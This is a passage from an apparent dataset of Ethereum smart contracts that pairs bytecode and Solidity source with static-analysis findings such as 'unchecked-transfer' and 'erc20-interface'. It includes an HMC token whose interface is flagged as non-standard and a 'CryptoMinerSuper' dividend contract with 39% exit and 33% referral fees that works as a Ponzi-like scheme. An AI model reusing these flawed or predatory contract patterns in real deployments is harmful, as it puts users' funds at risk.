795750600061052a565b336000908152602081905260409020546105939083610a5f565b336000908152602081905260409020556004546105b09083610a5f565b60045560408051838152905133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600161052a565b506000919050565b600254600090600160a060020a0316331461061557600080fd5b600160a060020a03841630141561062b57600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152602482018490529151859283169163a9059cbb9160448083019260209291908290030181600087803b15801561069857600080fd5b505af11580156106ac573d6000803e3d6000fd5b505050506040513d60208110156106c257600080fd5b505060408051600160a060020a0380871682528516602082015280820184905290517ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc1549181900360600190a150505050565b60408051808201909152600381527f4b564d0000000000000000000000000000000000000000000000000000000000602082015281565b3360009081526003602052604081205460ff161561076857600080fd5b60055460ff161561077b57506000610414565b6107858383610a6e565b9050610414565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600254600160a060020a031633146107ce57600080fd5b33600160a060020a03831614156107e457600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156108c557600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156108f8575060006104ad565b600160a060020a038416600090815260208190526040902054821115610920575060006104ad565b600082118015610942575082600160a060020a031684600160a060020a031614155b156109f857600160a060020a03841660009081526001602090815260408083203384529091529020546109759083610a4d565b600160a060020a03851660008181526001602090815260408083203384528252808320949094559181529081905220546109af9083610a4d565b600160a060020a0380861660009081526020819052604080822093909355908516815220546109de9083610a5f565b600160a060020a0384166000908152602081905260409020555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b600082821115610a5957fe5b50900390565b6000828201838110156104ad57fe5b6000600160a060020a0383161515610a8557600080fd5b33600090815260208190526040902054821115610aa457506000610414565b600082118015610abd575033600160a060020a03841614155b15610b225733600090815260208190526040902054610adc9083610a4d565b3360009081526020819052604080822092909255600160a060020a03851681522054610b089083610a5f565b600160a060020a0384166000908152602081905260409020555b604080518381529051600160a060020a0385169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a7230582072a30f96909bca34cbc1e40dedd7343be775b13d5fc00e228feda1964d0b49f00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,545 |
0xb9Ee866712F4cb8b81Ce6B7A5DE7a13791d323D2
|
pragma solidity ^0.4.23;
/**
* Math operations with safety checks
*/
library SafeMath {
/**
* @dev Multiplies two numbers, revert()s on overflow.
*/
function mul(uint256 a, uint256 b) internal returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
/**
* @dev Subtracts two numbers, revert()s on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, revert()s on overflow.
*/
function add(uint256 a, uint256 b) internal returns (uint256 c) {
c = a + b;
assert(c >= a && c >= b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
revert();
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size.add(4)) {
revert();
}
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
require(_to != 0x0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Standard ERC20 token
*
* @dev Implemantation of the basic standart token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
require(_to != 0x0);
uint _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already revert() if this condition is not met
// if (_value > _allowance) revert();
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev revert()s if called by any account other than the owner.
*/
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
if (paused) revert();
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
if (!paused) revert();
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
/**
* Pausable token
*
* Simple ERC20 Token example, with pausable token creation
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) whenNotPaused {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused {
super.transferFrom(_from, _to, _value);
}
}
/**
* @title TokenTimelock
* @dev TokenTimelock is a token holder contract that will allow a
* beneficiary to extract the tokens after a time has passed
*/
contract TokenTimelock {
// ERC20 basic token contract being held
ERC20Basic token;
// beneficiary of tokens after they are released
address beneficiary;
// timestamp where token release is enabled
uint releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint _releaseTime) {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
/**
* @dev beneficiary claims tokens held by time lock
*/
function claim() {
require(msg.sender == beneficiary);
require(now >= releaseTime);
uint amount = token.balanceOf(this);
require(amount > 0);
token.transfer(beneficiary, amount);
}
}
/**
* @title hun mun chain Token
* @dev hun mun chain Token contract
*/
contract HMCToken is PausableToken {
using SafeMath for uint256;
function () {
//if ether is sent to this address, send it back.
revert();
}
string public name = "hun mun chain";
string public symbol = "HMC";
uint8 public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
event TimeLock(address indexed to, uint value, uint time);
event Burn(address indexed burner, uint256 value);
function HMCToken() {
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/**
* @dev transfer timelocked tokens
*/
function transferTimelocked(address _to, uint256 _amount, uint256 _releaseTime)
onlyOwner whenNotPaused returns (TokenTimelock) {
require(_to != 0x0);
TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime);
transfer(timelock,_amount);
emit TimeLock(_to, _amount,_releaseTime);
return timelock;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) onlyOwner whenNotPaused {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f8578063095ea7b31461018857806318160ddd146101d557806323b872dd14610200578063313ce5671461026d5780633f4ba83a1461029e57806342966c68146102cd5780635c975abb146102fa57806370a08231146103295780638456cb59146103805780638da5cb5b146103af57806395d89b4114610406578063a9059cbb14610496578063c48a66e0146104e3578063dd62ed3e1461057a578063f2fde38b146105f1575b3480156100f257600080fd5b50600080fd5b34801561010457600080fd5b5061010d610634565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d2565b005b3480156101e157600080fd5b506101ea610854565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061085a565b005b34801561027957600080fd5b50610282610884565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102aa57600080fd5b506102b3610897565b604051808215151515815260200191505060405180910390f35b3480156102d957600080fd5b506102f86004803603810190808035906020019092919050505061095e565b005b34801561030657600080fd5b5061030f6109e1565b604051808215151515815260200191505060405180910390f35b34801561033557600080fd5b5061036a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f4565b6040518082815260200191505060405180910390f35b34801561038c57600080fd5b50610395610a3c565b604051808215151515815260200191505060405180910390f35b3480156103bb57600080fd5b506103c4610b02565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041257600080fd5b5061041b610b28565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045b578082015181840152602081019050610440565b50505050905090810190601f1680156104885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a257600080fd5b506104e1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc6565b005b3480156104ef57600080fd5b50610538600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610bee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058657600080fd5b506105db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d92565b6040518082815260200191505060405180910390f35b3480156105fd57600080fd5b50610632600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e19565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106ca5780601f1061069f576101008083540402835291602001916106ca565b820191906000526020600020905b8154815290600101906020018083116106ad57829003601f168201915b505050505081565b6000811415801561076057506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561076a57600080fd5b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b60065481565b600260149054906101000a900460ff161561087457600080fd5b61087f838383610ef0565b505050565b600560009054906101000a900460ff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108f557600080fd5b600260149054906101000a900460ff16151561091057600080fd5b6000600260146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109ba57600080fd5b600260149054906101000a900460ff16156109d457600080fd5b6109de33826111e2565b50565b600260149054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a9a57600080fd5b600260149054906101000a900460ff1615610ab457600080fd5b6001600260146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bbe5780601f10610b9357610100808354040283529160200191610bbe565b820191906000526020600020905b815481529060010190602001808311610ba157829003601f168201915b505050505081565b600260149054906101000a900460ff1615610be057600080fd5b610bea8282611395565b5050565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4d57600080fd5b600260149054906101000a900460ff1615610c6757600080fd5b60008573ffffffffffffffffffffffffffffffffffffffff1614151515610c8d57600080fd5b308584610c986115c1565b808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051809103906000f080158015610d24573d6000803e3d6000fd5b509050610d318185610bc6565b8473ffffffffffffffffffffffffffffffffffffffff167f1e9485fd0bd679716375520cad7dadd2beb8f80d23e81293182eabdc94d1812d8585604051808381526020018281526020019250505060405180910390a2809150509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610eed5780600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60006060610f0860048261157190919063ffffffff16565b60003690501015610f1857600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff1614151515610f3e57600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915061100e836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a1836000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159990919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110f6838361159990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561122f57600080fd5b611280816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d78160065461159990919063ffffffff16565b6006819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60406113ab60048261157190919063ffffffff16565b600036905010156113bb57600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff16141515156113e157600080fd5b611432826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114c5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b6000818301905061159083821015801561158b5750828210155b6115b2565b80905092915050565b60006115a7838311156115b2565b818303905092915050565b8015156115be57600080fd5b50565b6040516103f0806115d2833901905600608060405234801561001057600080fd5b506040516060806103f0833981018060405281019080805190602001909291908051906020019092919080519060200190929190505050428111151561005557600080fd5b826000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600281905550505050610301806100ef6000396000f300608060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680634e71d92d14610046575b600080fd5b34801561005257600080fd5b5061005b61005d565b005b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156100bb57600080fd5b60025442101515156100cc57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561018857600080fd5b505af115801561019c573d6000803e3d6000fd5b505050506040513d60208110156101b257600080fd5b810190808051906020019092919050505090506000811115156101d457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156102ba57600080fd5b505af11580156102ce573d6000803e3d6000fd5b50505050505600a165627a7a72305820b5d5f0e8f9239da43697070d748fc8101cd1f85421db1e8deeec2884e7cded3f0029a165627a7a72305820f2ad5a456e7517146f6c7b6390f82ce2915771965daddb8a9247318ce5809b050029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 3,546 |
0xdea9b5c9c0ea8178adf91d90fca7db196391e551
|
pragma solidity ^0.4.25;
/*
* [✓] 39% Withdraw fee
* [✓] 10% Deposit fee
* [✓] 1% Token transfer
* [✓] 33% Referal link
*
*/
contract CryptoMinerSuper {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Crypto Miner Super";
string public symbol = "CMS";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 39;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
